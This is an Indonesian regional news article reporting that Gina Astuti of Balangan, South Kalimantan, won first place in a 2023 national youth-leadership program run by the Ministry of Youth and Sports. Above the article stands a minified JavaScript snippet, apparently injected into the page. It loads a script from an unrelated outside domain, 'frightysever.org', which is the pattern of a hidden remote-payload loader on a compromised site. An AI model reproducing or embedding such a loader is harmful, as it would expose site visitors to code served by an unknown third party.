(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Gina Astuti Juara Pertama Pemimpin Muda Unggul Tingkat Nasional

KANALKALIMANTAN.COM, PARINGIN – Gina Astuti pemudi asal Kabupaten Balangan yang mewakili Kalimantan Selatan berhasil meraih peringkat pertama sebagai pemimpin muda unggul tingkat nasional tahun 2023 oleh Kementerian Pemuda dan Olahraga RI.

Sebelumnya Gina Astuti mewakili Kalimantan Selatan dalam program PKPMN melalui seleksi cukup panjang mulai dari pemberkasan, tes CAT dan wawancara.

Kemudian setelah terpilih sebagai 100 terbaik, peserta dididik oleh Kemenpora dan Lemhanas terkait seorang pemimpin yang berkualitas, dalam proses pendidikan itu ada beberapa penugasan seperti essai, makalah, video kreatif, dan berbagai penugasan individu yang kemudian dipresentasikan.

“Menjadi unsur penilaian selain penilaian utama yang meliputi riwayat organisasi dan kiprah kegiatan kepemimpinan kepemudaan selama ini,” cerita Gina saat sebelum penganugerahan, Senin (30/10/2023).

Gina berharap melalui penghargaan ini dapat menjadi contoh yang baik, terutama bagi pemuda di Kalimantan Selatan bahwa juga mampu bersaing di tingkat nasional.

Gina berharap Pemerintah Provinsi Kalsel dapat lebih memaksimalkan peran dan potensi anak muda untuk lebih mendorong kreatifitas pemuda agar lebih produksi dan berprestasi.

Asdep Kepemimpinan Pemuda Kemenpora RI, Subroto mengatakan, target Kemenpora untuk pemuda ini yakni adanya peningkatan IPP (Indeks Pembangunan Pemuda) dan di tahun 2024 diharapkan mencapai skor 56-60 dari berbagai indikator yang ada.

Selain itu Kemenpora berharap, usai dari pelaksanaan program pendidikan ini para peserta dapat menyebarluaskan ilmu yang didapat untuk pengembangan pemuda berkarakter di daerahnya masing-masing.

“Kami harap setelah selesai dari kegiatan ini tidak hanya kebanggaan sebatas kertas, kami telah berusaha maksimal untuk tahun ini mengoptimalkan dan mendatangkan para pakar untuk memberikan pembelajaran termasuk dari BPKP ini juga hal baru, serta dari ahli strategis kepemimpinan dan dari KPK,” ujarnya. (Kanalkalimantan.com/mcbalangan/adv)

Editor : kk